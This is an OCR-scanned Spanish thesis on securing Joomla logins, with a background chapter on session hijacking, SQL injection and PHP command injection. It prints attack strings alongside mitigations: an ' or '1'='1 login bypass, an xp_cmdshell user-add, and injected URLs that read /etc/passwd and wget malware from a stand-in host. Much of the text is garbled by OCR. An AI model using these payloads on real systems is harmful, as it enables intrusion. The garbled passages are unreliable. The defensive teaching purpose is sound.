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RESUMEN

El presente estudio tiene por objetivo implementar el algoritmo de proteccién de
puerta trasera contra ataques de autentificacion en sistemas de bases de datos
expuestos a servicios web. Se utilizo dos tipos de metodologia, la primera relacionada a la
investigacién exploratorio y la segunda al desarrolio del algoritmo En este estudio se
encontroque el sistema front-end de Joomla posee ciertas fallas en cuanto al acceso de los

T s IS . . A
e H wnis oid H Vo fumse i amf e s i i

dorks{escalar privilegios) € inyecciones SGL, haciendo que el  sisiema sea vuinerable y
accesible al backend( vista del administrador) de Joomla. Para contramestar se realiz6 el

alnaritmn ciie nratens la nuerta tragsera del cistema  frantend de loomla nen
aigoritmo que prolege 2 pueria trasera Ce: sisiema  ront-engd gde soomiag, L4

bloquear los dorks e ingresos de robots de autentificacion automatico. En el sistema se
impiementd dos texibox para usuario, conirasefia vy recapicha. Y como resuitado se iogré

proteger el front-end de joomla con acceso seguro al backend. Siendo una solucién contra

Palabras Claves: Sistema front-end, backend,recaptcha, autenticacion, puerta trasera
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ABSTRACT

This study aims to implement the algorithm backdoor protection against attacks
authentication database svstems exposed {0 Web services. Two types of meinodoiogy, the
first related to exploratory research and the other development of the algorithm in this study
we found that the front-end system Joomla has some faults in access of dorks (escalate
privileges) and injections was used SUL, making ihe sysiem vuinerabie and accessibie io the

backend (admin view) Joomla. To counter the algorithm that protects the back door of front-

na suvctam Joomilzs slnudimg Blask Hhao darlre 2md incamsa rabinte =sidamatis oidhantioatiae is
4 ]Ut\dll' M A, WAl YL lu AV L Wy WAL N QR T SV T I T WU/ CAULU D ICALIWY AL T TR/ ) B

44

4]

performed. In the system, two textbox for username, password and recaptcha was
implemented. And as a result it was possible to protect the front-end of joomia with secure

access to backend. As a solution against Hackers.

Keywords: System front-end, backend, recapicha, authentication, backdoor
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INTRODUCCION

En el mundo globalizado, hoy en dia, cada vez se utiliza la tecnologia de la

de los portaies webs, donde se brinda ia

informacidn v comunicacion tal es el cas

()

mayor informacion que uno busca o desea saber. Pero esto también podria ser
d

nerindicial, debido a gue muchos sistemas de hoy en dia en internet poseen
v " ” t]

; H HY

informacion llamada “basura” en el argot informatico y esto conlleva a dos puntos de

En el primer capitulo se plantea el problema; fundamentando toda la situacion
problematica con respecto al mundo de tecnologias de informacidén y comunicacion
(TIC), y por ende se plantea el problema, los objetivos y las delimitaciones.

En el segundo capitulo se desarrolla los conceptos y teorias que se usa en el

estudio.

El tercer capitulo se analizara profundamente el CMS Joomla para posteriormente
desarrollar el algoritmo e implementarlo, para dar la solucion al defecto que posee
Joomla.

En el cuarto capitulo se indica los resultados obtenidos después de! desarrollo

Hoy en dia existe muchos cms (Content Management System: Sistema de gestion de
contenidos) Y uno de ellos es Joomla que cumple con el sistema MVC (Modelo vista
controlador), en esta investigacion me centraré en el Framework del CMS de Joomia
y las fallas que presentan y luego realizar las posibles soluciones elaborando un
algoritmo. Para que de esta manera pueda solucionar la autentificacion de puerta
trasera del CMS Joomla.

AUTOR

pag. 8



1.1.

CAPITULO |
PROBLEMA DE INVESTIGACION

Antecedentes y fundamentacion del problema
Hoy por hoy, en el mundo de Tl (Tecnologia de informacion) y el conocimiento,

sique siendo, un papel importante en ia vida reai en todo ei ambito de ia

supervivencia humana. Siendo asi también que la Tl se hace importante para

las organizaciones en un mundo cambiante.

Asi como aumenta la necesidad del uso de la Ti, también aumenta el
riesgo de vulnerahilidad de los sistemas, nara ello muchas organizaciones
contratan en temas de seguridad informatica o realizando publicidad de

corractn usn de sit sistema, Pern las nersonas ma! intencinnadacs tratan de

ingresar a sus sistemas consiguiendo beneficios personales, es asi que la

o

sequridad es lmr\rc.cp:ndlh!a nara las arnanizaninne:
o+ = ~

AR et L]

Muchos sistemas expuestos a web, estan vulnerables a los ataques de

e}

eoT

lne hcn!lnrc estn g2 dehe 2 que m:lr\ht:u; nrngnl-’gnlnnaq contratan 2 emnresa
g 5]

lost debe a np
o terceras personas para su desarrollo de sus sistema, olvidando en simple y
olomantal eohre acceso de cus cistema (eanuridad del gistema), Eg asi ouie on
slemental sobre acceso de sus sistema {seguridad del sistema). Es asique en

Febrero del afio 2013 y 15 de Enero del 2015, la pagina del gobiemno regional

madiants nuancian enl Cate oa Aaha o fis nn

de Huanuco. fus hack In v .
GO, mMeGiane inysCaion s4gi. ¢80 & &8ie & Gue 1o

T IS iUy (UT TTGUiN

consideraron seguri

Usuarls: )

Passwora:

Hota' La contrasedia comprende entre numeros wo letras

3P U004

e r R .
Ingrasn :‘! QEQTPm\/ Siﬁ?ema
et LR L = et Sk e x

Método tradicional

Imagen 01: Funcionamiento de {a seguridad sistema
Imagen. Fuente: Elaboracion propia.
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1.2. Formulacion del problema

1.3. Problema general

¢ Cual es el algoritmo que permite bloquear la puerta trasera contra ataques de
autentificacion de nueria trasera en sisiemas de hases de datos expuestos a

servicios web?

1.4. Problema especifico
- ¢, Cual es el modelo del aigoritmo que permitira dar seguridad sobre ataques de

autentiticacion en sistemas de hases de datos expuestos a servicios web?

- ¢ Qué tipo de algoritmo seria adecuado para dar seguridad sobre atagues de

autentificacion en sistemas de bases de datos expuestos a servicios web?

1.5. Objetivo de la Investigacion

1.5.1. Objetivo general

*,

<> lmplementar el algoritmo de proteccién de puerta trasera contra

expuestos a servicios web

1.5.2. Objetivos especificos
implementar el algoritmo en lenguaje PHP, para la proteccid

2
L4

nuerta trasera contra atanues de autentificacion en sistema

bases de datos expuestos a servicios web.

&
°e

Demostrar el uso del algoritmo mediante el desarrollo de un

nrototinn canaz de nrotaner la autantificanian en sistemas de
™ === == hafiatl et TS T T T T At A mii TR ARt omE ey ARt e

bases de datos expuestos a servicios web.

+ Demostrar el cumplimiento de estandar de codificaciéon del

sistema de proteccidn de puerta traser
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1.6. Justificacion e importancia
El presente estudio de investigacion se justifica por las siguientes razones:

> Debido a los c6digos y consultas libres que existen en la web, se hace
» Debido a la programacién literal (conexién simple a consultas sql), sin

ractriccion a inveccionas. ingragan al servidor de hases de datos,

> Algoritmos maliciosos por programadores expertos para Vulnerar el

sistama | nain
sistema l ogin,

1.7. Limitaciones
El presente estudio de investigacion solo esta basado para aquelios sistemas

sobre servidor BD PhpMyadmin y paginas Joomla de 1.5 a 3.0.
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2.1.

CAPITULO It
MARCO TORICO

ANTECEDENTES DEL PROBLEMA
2.1.1. Antecedentes a nivel mundial

Segun ia investigacion reaiizada por e- securing (seguridad banca
por interet) y Redactado por: Mauro Maulini R. muestra las diez

vuinerabilidades mas comunes de las bases de datos.’

Aunque el tema no esta relacionado directamente con las
aplicaciones web, es importante para su sano funcionamiento,
proteger de forma correcta los datos que estas utilizan vy
definitivamente proteger las bases de datos no es una tarea facil,
sobretodo porque a menudo los ataques que van tras las mas

simpies vuinerabilidades son io que tienen mas éxito.

De acuerdo con Alex Rothacker, gerente AppSec'sTeam SHATTER

(Security Heuristics of ApplicationTestingTechnologyfor Enterprise

Research), su equipo ha encontrado 10 tipos comunes de
vuinerabiiidades base de datos por ias que ias organizaciones
padecen ataques una y otra vez.

El hilo comun de esta lista es que rara vez las bases de datos salen
al mercado "securityready”, y su configuracion de seguridad no es
un trabajo de "hacer y olvidar" para los administradores de base de
datos.

Las organizaciones deben evaluar continuamente los paquetes de

su software de base de datos para determinar si son realmente

pag. 12



necesarios y desactivar los que no son necesarios para reducir las
superficies de ataque. Tienen que ser cuidadosos en controlar los
campos en las busquedas para prevenir inyecciones y tener
conciencia de la debilidad en ias credenciales de inicio de sesion. Y
lo mas importante, es necesario aplicar los parches de actualizacion

de la casa matriz con regularidad.?

Alrededor de la mitad de las vulnerabilidades nombradas por
Rothacker y su equipo estan directa o indirectamente relacionadas
con las préacticas flojas de gestion de parches en el entorno de base
de datos. Ese es un pensamiento aterrador considerando solo el
38% de los administradores aplican los ajustes de seguridad en sus
bases de datos Oracle en el ciclo de revision inicial de tres meses.
Y casi un tercio de ellos toman un afio 0 méas para aplicar el primer

parche.

A continuacién se muestra los diez tipos de vulnerabilidades de
bases de datos mas comunes:

A. Nombre de usuario/password en blanco, por defecto o
débil.

No es nada raro conseguir en el dia a dia pares de

defensa y un punto fundamental de la armadura de nuestras bases
de datos. Es importante hacer revisiones periddicas de

credenciales.
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B. Inyecciones SQL.

Cuando la plataforma de base de datos falla para desinfectar las
entradas, los atacantes son capaces de ejecutar ias inyecciones
SQL de forma similar a como lo hacen en los ataques basados en
Web, lo que les permite elevar sus privilegios y obtener acceso a
una amplia gama de funcionalidades. Muchos de los proveedores
han dado a conocer soluciones para evitar estos probiemas, pero
no servira de mucho si los parches no se aplican o no se toman los
correctivos correspondientes.3

C. Preferencia de privilegios de usuario por privilegios de
grupo.

Las organizaciones necesitan garantizar que los privilegios no se
les den a los usuarios por asignacion directa quien finaimente los
recogera como conserjes recogen las llaves en sus llaveros. En
cambio, Rothacker recomienda que los usuarios soélo reciban
privilegios por parte de grupos o funciones y sean manejados
colectivamente. De esta forma sera mas facil eliminar derechos a
un usuario con simplemente eliminarlo del grupo, sin que queden

derechos ocultos u olvidados asignados a dicho usuario.*

D. Caracteristicas de base de datos innecesariamente
habilitadas.

Cada instalacion de base de datos viene con paquetes adicionales
de todas las formas y tamafos que en su mayoria rara vez son
utilizados por una sola organizacion. Dado que el nombre del juego

en materia de seguridad de base de datos es el de reducir ias



que no utilizan y desactivarlos. Esto no sélo reduce los riesgos de
ataques (O)day a través de estos vectores, sino que también

simplifica la gestion de parches.
E. Configuracion de seguridad ineficiente.

Del mismo modo, las bases de datos tienen una gran cantidad
opciones de configuracion y consideraciones diferentes a
disposicion de los administradores para ajustar el rendimiento y
funcionalidades mejoradas. Las organizaciones necesitan conseguir
y desactivar aquellas configuraciones inseguras que podrian estar
activadas por defecto para mayor comodidad de los DBA o
desarrolladores de aplicaciones. Las configuraciones de bases de

datos en produccion y desarrolio deben ser radicaimente diferentes.
F. Desbordamientos de bufer.

Otro favorito de los piratas cibernéticos, las vulnerabilidades de
desbordamiento de bufer, son expiotadas por ias inundaciones de
las fuentes de entrada con valores diferentes o muy superiores a los
que aplicaciéon espera - por ejemplo, mediante la adicion de 100
caracteres en un cuadro de entrada pidiendo un nidmero de Seguro
Social. Los proveedores de bases de datos han trabajado duro para
solucionar los problemas técnicos que permiten estos ataques se
produzcan. Esta es otra razéon por ia cual los parches son tan

importantes.®
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G. Escalada de privilegios

Del mismo modo, las bases de datos con frecuencia exponen
vuinerabilidades comunes que permiten a un atacante escaiar
privilegios en una cuenta de privilegios bajos hasta tener acceso a
los derechos de un administrador. A medida que estas
vulnerabilidades son descubiertas, los proveedores las corrigen y
ios administradores deben mantener ias actuaiizaciones y parches
actualizados.

H. Ataque de denegacion de servicio

El caso del SQL Slammer es siempre un ejemplo muy esclarecedor
de como ios atacantes pueden utiiizar ias vuinerabiiidades de ios
DBMS para derribar los servidores de base de datos a través de un
alto flujo de trafico. Aun mas ilustrativo es el hecho de que cuando
el Slammer atacé en 2003, un parche ya estaba por ahi que se
dirigié a corregir la vulnerabilidad por la que se genero su ataque.
Hoy en dia siete afios méas tarde, SQL Slammer todavia esta dando
doiores de cabeza en los servidores no actualizados.®

l. Bases de datos sin actualizar.

Esto podria sonar repetitivo, pero vale la pena repetirlo. Los
administradores de base de datos a veces no aplican un parche en
el momento oportuno porque tienen miedo de este dafie sus bases
de datos. Pero el riesgo de ser hackeado hoy es mucho mas alto
que el riesgo de aplicar un parche que descomponga la base de
datos. Ademas existen ante esos temores ios backups y Ias

réplicas. Quizas este punto pudo haber sido valido hace cinco afios,
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pero los proveedores ahora sin encriptar los datos sensibles en

reposo y en movimiento (7

J. Datos sensibles sin cifrar, tanto en reposo como en

movimiento.

Tal vez sea una obviedad, pero las organizaciones no deben
almacenar ios datos sensibies en texto piano en una tabia. Y todas
las conexiones a la base de datos siempre que manejen datos
sensibles deben utilizar el cifrado ©.

2.1.2. Antecedentes a nivel nacional
Segun el estudio realizado por la escuela de Informatica de la

Universidad Nacional de Truitlio — Truitilo — Pert; tituiado "ATAQUE

Y SEGURIDAD A LA BASE DE DATOS", menciona que La gran

mavaria de lng datos sensihles del mundo estan aimacanadns en

\/!
-

sistemas gestores de bases de datos comerciales tales como

Oracle, Microgoft SQL Server entre otrog, v

atacar una hases de

datos es uno de los objetivos favoritos para los criminales.

Egctn nnada avnlm:r nor nna lne ataniies nvtnmnc t2les como

................................

inyeccion de SQL, subieron 56.2% en 2012, “Esta tendencia es

pru ioha adircinnal dAa niia lne -::grconrae ‘hnnan éyito en hngnnf’lar’

.......................

paginas Web maliciosas, y de que las vulnerabilidades vy

_Q\_rh!nfnﬂ:ptﬂ on rnlnr\nnp 2 an nnunnnrlnrﬂg \ leb actAn ~ranfarmandna
SHEOHO S e =i Coigrt COMUNanils
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un beneficio importante para ellos.

1 un estudis nublicadn an fabrarn dae
T UN S8tUGIC puUdacato ent SfC G

2012 Thelndependent Oracle UsersGroup (IOUG), casi la mitad de

tndnn lno iioaiarine Ao ’\vr\’\lc Hanan ol monne Anc sorcho
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aplicar en sus manejadores de bases de datos.

los perimetros de las redes por medio de, firewalls, IDS / IPS y
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la seguridad de las bases de datos con datos criticos,
protegiéndolos de intrusiones y cambios no autorizados.

A continuacion mencionaremos los puntos importantes de los
estudios realizados

A. ATAQUE Y SEGURIDAD DE SESSION

SessionHijacking (secuestro o robo de sesion) se refiere a que un
individuo (atacante) consigue el identificador de sesién entre una
pagina web y un usuario, de forma que puede hacerse pasar por
este y acceder a su cuenta en esa pagina web.

El robo de la sesion puede conseguirse de varias formas, aunque
en este articulo nos centraremos en las que tienen que ver con las
vuinerabilidades de las sesiones y en algunas técnicas para
mitigarlas.

Como pudimos ver en el articulo sobre el funcionamiento de las
sesiones, la Unica forma que tiene la pagina web de reconocer a un
usuario es por medio de su identificador de sesion. Si un atacante
consigue el identificador de sesién de un usuario que ya esta
autenticado, puede hacerse pasar por €l y entrar en su cuenta soio
con hacer que su navegador envie el identificador a la pagina web,
ya sea a través de ia URL o de una cookie.

A continuaciéon veremos algunas de las formas en las que un
atacante puede robar este identificador y técnicas para intentar
prevenirlo.

Ataque por fuerza bruta

El ataque por fuerza bruta significa probar identificadores
aleatoriamente hasta encontrar uno que esté siendo usado. Es
como intentar abrir una caja fuerte sin saber la combinacién,

poniendo numeros al azar.
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Como en el caso de la caja fuerte, cuantos mas nimeros tenga la
combinacion (en este caso el identificador de sesion), mas dificil
sera de adivinar. También ayuda el hecho de que el nimero o
identificador sea aleatorio, y no aigo que se pueda predecir. Ei
sistema de identificadores de sesion de PHP es aceptable en este

sentido.

a). Robo por sniffing

Este tipo de ataque se da cuando el atacante tiene un programa de
sniffing en la red del usuario y puede interceptar el trafico destinado
al mismo, incluido su identificador de sesion. Es algo que ha dado
mucho de qué hablar a causa de Firesheep, una extension para
Firefox que permite robar las sesiones de Facebook, Twitter y otras
paginas web muy conocidas en redes inalambricas publicas.

La unica forma de prevenir estos ataques es utilizando cifrado
HTTPS en toda la pagina web.

Propagacion en URL

Si el identificador de sesion se propaga utilizando la URL en lugar
de las cookies, cuaiquier atacante puede robarlo desde muchos
sitios:
> Un enlace que el propio usuario ponga en un lugar publico.
Los usuarios tipicos no saben para que sirve ese
identificador y no ie dan importancia.

> El historial del navegador.
> El referrer, que es un encabezado que envian muchos

navegadores a ias paginas web en el que ies indican ia URL
de la que vienen.

pag. 19



La forma de prevenir esto es no utilizar la URL para el identificador
de sesion; utilizar anicamente las cookies. En PHP esto se consigue
con la instruccion:

ini_set('session.use_only_cookies’, 1);

b). Robo en servidor compartido:

Si tenemos nuestra pagina web alojada en un servidor compartido,
los archivos fisicos de las sesiones se guardan, por defecto, en un
directorio comun para todas ias paginas web del servidor. Esto
quiere decir que todas las personas que tengan su pagina web en
ese mismo servidor, tienen acceso a todos los archivos de
sesiones. Dado que el nhombre de los archivos es "sess " mas el
identificador de sesion, cualquier atacante tendra una lista de
identificadores de sesién validos con sélo leer la lista de archivos
del directorio comun.

Esta vuinerabilidad se puede combatir de dos formas:

* Usando la funcion session_save_path para guardar los
archivos de sesion de la pagina web en un directorio dentro
de su cuenta al que séio pueda acceder PHP (ya sea por
estar fuera del directorio web 0 con un .htaccess con la
instruccion denyfromall). Este método no es demasiado
fiable, ya que el resto de usuarios seguira pudiendo leer en

ese directorio, solo tienen que averiguar su localizacion.

= Guardando las sesiones en base de datos en lugar de en
archivos. Esto se consigue faciimente usando la funcién
session_set_save_handler. Esta soluciéon es la mas segura
ya que la pagina web sera la Ginica que tendra acceso a la

base de datos y, por tanto, a las sesiones.
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¢). Robo por Cross-Site Scripting

Si la pagina web es vulnerable a XSS el atacante puede insertar un
codigo javascript que envie las cookies de un usuario a su cuenta.
Este tipo de ataque se puede prevenir (ademas de evitando ios
ataques XSS) haciendo que las cookies de sesion tengan el atributo
HitpOnly, que evita que puedan ser manejadas por javascript en la
mayoria de navegadores. En PHP esto se consigue con la
instruccion:

ini_set('session.cookie_httponly', 1);

Métodos de prevencion generales:

Ademas de los métodos de prevencion concretos vistos para cada
tipo de ataque, vamos a ver algunas técnicas de prevenciéon que
ayudan a evitar el robo de las sesiones:

- Limitar tiempo de inactividad: eliminar la sesion si esta cierto
tiempo sin ser usada (de 5 a 30 minutos, segin el nivel de
seguridad de la pagina web).

- Cambiar el identificador de sesién: cada cierto tiempo o después
de cada accion, cambiar el identificador de la sesidn por otro
distinto y eliminar Ia sesion antigua.

- Sistema de logout: dar a los usuarios una forma de salir de su
cuenta y destruir ia sesion.

- Verificacion doble: usar un segundo método para intentar
reconocer al usuario de ia sesion. Esto puede hacerse guardando
cabeceras como HTTP_USER_AGENT (navegador del usuario) o
REMOTE_ADDR (IP del usuario) cuando se crea la sesion, de esta

forma:

$_SESSION[fingerprint] =
md5($_SERVER[HTTP_USER_AGENT);
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La IP del usuario es mas significativa que su navegador, pero es
mas problematica ya que hay usuarios a los que les cambia la IP
habitualmente (IP dinamica, proxies,...).

Con este sistema, un atacante tendria que robar Ia sesién a un
usuario y, ademas, enviar la misma cabecera de navegador para
poder usarla.

Hasta aqui el articulo sobre el robo de sesiones. En préximos
articuios veremos mas tipos de ataque contra ias sesiones y formas
de prevenirlos.

B. ATAQUE POR INYECCION DE CODIGO

La inyeccidon SQL consiste en la modificacion del comportamiento
de nuestras consultas mediante la introduccion de parametros no
deseados en los campos a ios que tiene acceso el usuario.

Este tipo de errores puede permitir a usuarios malintencionados
acceder a datos a los que de otro modo no tendrian acceso y, en el
peor de los casos, modificar el comportamiento de nuestras
aplicaciones.

Vamos a ver con un ejemplo que significa eso de “Inyeccién de
codigo™

Supongamos que tenemos una aplicacion Web (realizada en ASP
por sencillez)en la que el acceso a ciertas secciones esta
restringido. Para restringir ese acceso creamos una tabla de
usuarios y contrasefias y soéio ios usuarios que se validen contra
esa tabla podran acceder a esos contenidos.

Una manera de que los usuarios se validen sera colocar un par de
cuadros de texto en nuestra pagina Web (por ejemplo txtUsuario y
txtPassword) donde puedan introducir su nombre y su contrasefa y
enviar ese par usuario/contrasefiaa la base de datos para

comprobar si es valido.
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Primero creamos la tabla que vamos a usary la rellenamos con
datos:

Use web

-Nuestra base de datos se llama web
go

- Creamos una tabla para almacenar los pares usuario/contrasena

creaie labie usuarios (Usuariovarchar (50) not nuii primary key,
Passwordvarchar (50))

go

- Introducimos un par de datos de prueba
insert into usuarios (Usuario, Password) vaiues (Admin’, *1234’)
insertinto usuarios (Usuario, Password) values (‘Usuario’, 'abcd')

Ahora veamos el cbédigo de las paginas que forman parte del
proceso de login.

index.htm

<form action="login.asp” method="post">

Nombre: <input type="text" name="txtUsuario"><br>

Password: <input type="password" name="{xtPassword"><br>
<input type="submit">

<fform>

Esta primera pagina es sencilla. Simplemente

Los dos cuadros de texto mencionados que enviaran los datos a ia
pagina de login.

Login.asp

<%

Dim Usuario, Password, RS, SSQL
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Usuario = Request.Form("txtUsuario”)

Password = Request.Form("txtPassword")

SSQL = "SELECT count(*) FROM Usuarios WHERE Usuario = ™
& Usuario&

" AND password="" & Password & ™"

Set RS = Server.CreateObject("TADODB.Recordset”")
RS.Open SSQL, "Cadena de conexion"

if (RS.EOF) Then

Response.Write "Accesodenegado.”

Else |

Response.Write "Te has identificado como " &RS("Usuario")
End If

Set RS = Nothing

%>

Y en esta segunda pagina creamos dinamicamente una sentencia

SQL que enviamos a la base de datos para la validacion.

Si el usuario escribe Admin y 1234 la sentencia creada sera:
*SELECT Count(*) FROM Usuarios WHERE Usuario="Admin’ AND
Password="1234"

Y como esta sentencia nos devuelve un registro, dejaremos que el
usuario entre en ia Web. Si el usuario escribe por ejempio ‘Admin’ y
de contrasefia cualquier otra cosa, la sentencia no nos devolvera
registros y no permitiremos entrar a esa persona. Pero ;qué ocurre

si el usuario escribe ‘ or '1'='1 como usuario y lo mismo de
contrasena? En este caso la variable Consulta contendra la cadena:
"SELECT Count(*) FROM Usuarios WHERE Usuario = " or '1'="1’

N

>
C

_ " e !/!l=l4. "
i 1

=Tkl y Tiatsal
AoV VYU U i

)
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Y obviamente esta sentencia nos devuelve registros con lo que el
usuario entrara en nuestra Web sin tener permiso.

Pero esto no es lo peor. Lo peor sera el usuario utilice estos trucos
de inyeccion de SQL para ejecutar codigo arbitrario en nuestro
servidor. Sentencias DDL, cambiar permisos, utilizar procedimientos
almacenados y un largo etcétera. Qué ocurriria si alguien escribiese
de contrasefia cosas como:

' exec master..xp_cmdsheii ‘net user test /ADD’ — Como evitario:

Y ahora lo mas importante, ;qué podemos hacer para evitar estos
errores?

Pues hay varios sistemas para evitarlo. Por ejemplo podemos filtrar
las entradas de los usuarios reemplazando la aparicion de ‘ por
 (dos comillas simples) e incluso evitando que los usuarios puedan
pasar caracteres como \/ “ ‘ 0 cualquier otro que se nos ocurra que
puede causar problemas. Estos filtros pueden ser tan sencillos
como utilizar la sentencia replace de Visual Basic:

SSQL= "SELECT count(*) FROM Usuarios WHERE Usuario = "™ &
Repiace

txtUsuario.Text, ", ") & ™ AND password="' & Replace
(txtPassword.Text, ™", ") & "™

Otro factor importante en cuanto a la seguridad es limitar al maximo
ios permisos del usuario que ejecuta estas sentencias para evitar
posibles problemas. Por ejemplo utilizando un usuario distinto para
las sentencias SELECT, DELETE, UPDATE y asegurandonos que
cada ejecucion de una sentencia ejecute una sentencia del tipo
permitido. Por supuesto utilizar el usuario 'sa’ o uno que pertenezca
al rol ‘db_owner’ para ejecutar las sentencias de uso habitual de la

base de datos deberia quedar descartado.
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Una solucion definitiva seria trabajar con procedimientos
almacenados.

El modo en el que se pasan los parametros a los procedimientos
aimacenados evita que ia inyeccion SQL pueda ser usada. Por
ejemplo utilizando el siguiente procedimiento almacenado:

CREATE Procedure Validar @usuario varchar(50),
@passwordvarchar(50)

AS

If (SELECT Count(*) FROM Usuarios WHERE Usuario=@Usuario
and Password=@password)>0

Return 1

Return 0

También deberiamos validar los datos que introduce el usuario
teniendo en cuenta por ejempio la longitud de los campos y el tipo
de datos aceptados. Esto lo podemos hacer en el cliente con los
RegularExpressionValidator o con los CustomValidators del
VB.NET. De todos modos si la seguridad es importante todas estas
vaiidaciones hay que repetirias en el servidor.

Por ultimo, y ya que estamos pensando en entornos Web, podemos
programar en ASP.NET y utilizar siempre que sea posible las
clases System.Web.Security.FormsAuthentication para que los
usuarios entren en nuestras aplicaciones Web.

C. ATAQUE POR INYECCION DE COMANDOS EN PHP

En esta ocasion hablaremos de una gran problematica que existe al
momento de desarrollar con php y se utilizan funciones como
system, exec, etc.

Estas funciones tiene la facultad de ejecutar desde php comandos

en sistema operativo, el problema es que si no tenemos las
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validaciones correctas, nos pueden hacer una inyeccién de codigo y
ejecutar comandos arbitratiamente en el servidor.

Un ejemplo practico:

Este programa io que hace es tomar una variabie por médotoget
(también aplica para post con los cambios necesarios) y crea un
directorio

<?

if (trim($_GET{'directorio])i=NULL) {

system ("mkdir {$_GET['directorio']}");

echo "directorio creado {$_GET['directorio[}";

}

else

echo "directorio vacio”;

2>

NOTA IMPORTANTE: Se acta en el supuesto de que el directorio
donde se encuentra el script inicial tiene permisos 777 o pertenece
al usuario que ejecuta el servicio de apache (generalmente
apache), para poder crear ios directorios.

En la url del navegador se escribira algo como sigue:
http://misitio.net/dirs/script.php?directorio=directorionuevo
("directorionuevo" es el directorio recién creado)

En la linea del codigo:

system ("mkdir {$_GET['directorio]}");

Se ejecuta un comando de sistema operativo con la funcion system
para crear el directorio.

Si sustituimos la ejecucion del script desde el navegador en la
funcién system tendremos:

mkdirdirectorionuevo

Nosotros sabemos que en linux/unix, podemos ejecutar mas de un

comando en una misma linea, por ejempio:
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mkdirdirectorionuevo; pwd

Bien, ahora nosotros podemos hacer lo mismo desde la url del
navegador:

http://misitio.net/dirs/script.php?directorio=directorionuevo;%20pwd

Con esto nos creara el directorio "directorionuevo” como era lo
esperado, y ademas, nos dara ia ruta desde donde se esta
ejecutando el script (comando pwd).

Ivar/www/htmi/dirs/

Nota: El "%20" representa un espacio en blanco, en algunos
navegadores ya no es nhecesario poner éste codigo, sino
simplemente se debe colocar el espacio en blanco. ‘

Ademas podemos hacer otras cosas como buscar directorios o
archivos con permisos 777: |
http://misitio.net/dirs/script.php?directorio=directorionuevo;%20find
%20-perm%20777

Ver el archivo de /etc/password, que a futuro nos puede servir para
saber que usuarios validos tiene y hacer un ataque bruteforce:
http://misitio.net/dirs/script.php?directorio=directorionuevo; %20cat%
20/etc/passwd

Lo mas preocupante es que se puede descargar malware a nuestro
servidor, para hacerlo parte de una botnet para atacar a otros
equipos o simplemente mandar spam:
http://misitio.net/dirs/script.php?directorio=directorionuevo; %20wget
%20http://sitiomalo.org/malware.txt
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El archivo malware.txt se descargard y posteriormente podra ser

ejecutado.

Solucion:

Lo anterior es de gran preocupacion porque se pueden hacer varias
cosas mas como borrar archivos, nuestro server puede ser victima
de un ataque DOS, etc.

Aqui presentamos algunas soluciones:

*En este caso especifico, usar la funcionmkdir de php, en vez dei
comando system para ejecutar un comando de sistema operativo
*No usar:
funcionesshell_exec,exec,system,readfile,passthru,escapeshellcmd,
proc_open,posiX_uname,posixX_getuid,posix_geteuid,
posix_getgid,getcwd para comandos en sistema operativo

*Si se administran host virtuales, en el archivo php.ini agregar las
funciones anteriores en la directiva "disable_functions"

*Revisar en access_logcomportamnientos extrafios y por medio de
fw bloquear las ip's

*También para evitar ia inyeccion de wget, GET, curl, y demas
comandos para descargar software se puede agregar un script en el
php.ini en la directiva, auto_prepend_file para que cuando se
detecten en la url de cualquier script php, se omita la ejecucién para
no descargar el software.

<?

foreach ($_GET as $variable => $valor)
if (eregi("wget |curl |GET ", $valor)) {
exit

}

.? >
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2.2,

2.3.

Lo que hace el script es recorrer el arreglo GET (todas sus
variables), a fin de que se detecten esos comandos y se evite la
descarga del malware.

Hay software del que ya se conocen vuinerabilidades de este tipo

como Mambo y PhpNuke, por lo que es recomendable no usarlos.

Conceptos fundamentales
Proteccion de puerta trasera es defecto en un software o pagina

weh que permite ingresar a un recurso gue usuaimer
jue ! g

un usuario ajeno. No siempre es un defecto, también puede se

-

una entrada secreta de los programadores o webmastears con diversos
fines. Ej: una pagina web tiene clave de acceso para ingresar, pero existe

1ina datarminada direccion que nos nermite antrar ealtando Ia miema,
na arminada direccion gue nos permite antrar saltanaco 1a misma.

Marco situacional
En la actualidad, se estd haciendo cada vez mas importante

enire ios usuarios ia conciencia respecio a que ia s

quridad en una
cuestion relevante para las aplicaciones web; basta consuitar la pagina
de Preguntas Frecuentes de una apiicacion tipica, donde se alienta ai

usuario a considerar que se trata de una aplicacién segura; por ejemplo:

“Este sifio es ahsolutamente sequro. Ha sido disefado para utidizar

tecnologia 128-bit SSL a fin de evitar que usuarios no autorizados

vienalicen su informacion. Uld. nuede tilizar este sitin con Ia

tranquilidad de que sus datos estan seguros con nosotros.”. Como

vemos. las anlicaciones weh declaran ser saniiras dehidn 2 aque utilizan
; 188 3PHCACIonas Wen Caciaran ser segiirags cadico }

SSL (Secure Socket Layer); asimismo, se les propone a los usuarios

................................

criptografia avanzada que se emplean, y a partir de todo ello, se los

alienta a confiarles su informacién personal. Perc de hacho, las mayoria
a:ienia 2 confiaries suU INIOrMACIon personal, Perg e necng, 1a8s mayorna

de las aplicaciones web son inseguras debido a condiciones gque no



tienen ninguna relacién con SSL (de esto, no se tiene que inferir que es
innecesario para la seguridad de dichas aplicaciones, ya que utilizado
adecuadamente, provee una efectiva defensa contra varios ataques
significativos). Diferentes fuentes indican que, dado ios resultados de
testeos sobre cientos de aplicaciones web realizados en los dos ultimos
anos, porcentajes elevados de ellas estan afectadas por algunas
categorias comunes de vulnerabilidades, las cuales se describen
brevemente a continuacion:

a). Quiebre de Ila autenticacion (67%). Esta categoria de
vuinerabilidad comprende diferentes defectos dentro dei mecanismo de
inicio de sesién de la aplicacién, lo cual puede permitir que un atacante
adivine contrasefias débiles, lance un ataque de fuerza bruta, o eluda
por completo el proceso de inicio de sesion.

b). Quiebre de los controles de acceso (78%). Esto comprende los
casos en que la aplicacion fracaza en proteger adecuadamente el
acceso a sus datos y sus funcionalidades, potencialmente permitiendo
que un atacante visualice datos sensibles de otro usuario hospedados
en el servidor, o lleve a cabo acciones privilegiadas.

c). Inyeccion de SQL (36%). Esta vulnerabilidad permite que un
atacante envie una entrada con un contenido tal que provoque una
interferencia en la interaccién de la aplicacién con las bases de datos
dei back-end, y asi ser capaz de recuperar datos arbitrarios via ia
propia aplicacion, interferir en la légica de la misma, o ejecutar

comandos sobre el servidor de base de datos.
d). Cross-site scripting (91%). Esta wvuinerabilidad permite que

usuarios de la aplicacion sean blancos de un atacante, el que logra
acceder a los datos de dichos usuarios, ejecutando acciones no
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24,

autorizadas en nombre de los mismos, 0 desencadenando ataques

contra ellos.

e). Fuga de informacion (81%). Comprende los casos en que una
aplicacion divuiga informacion sensible, la que es utilizada por un
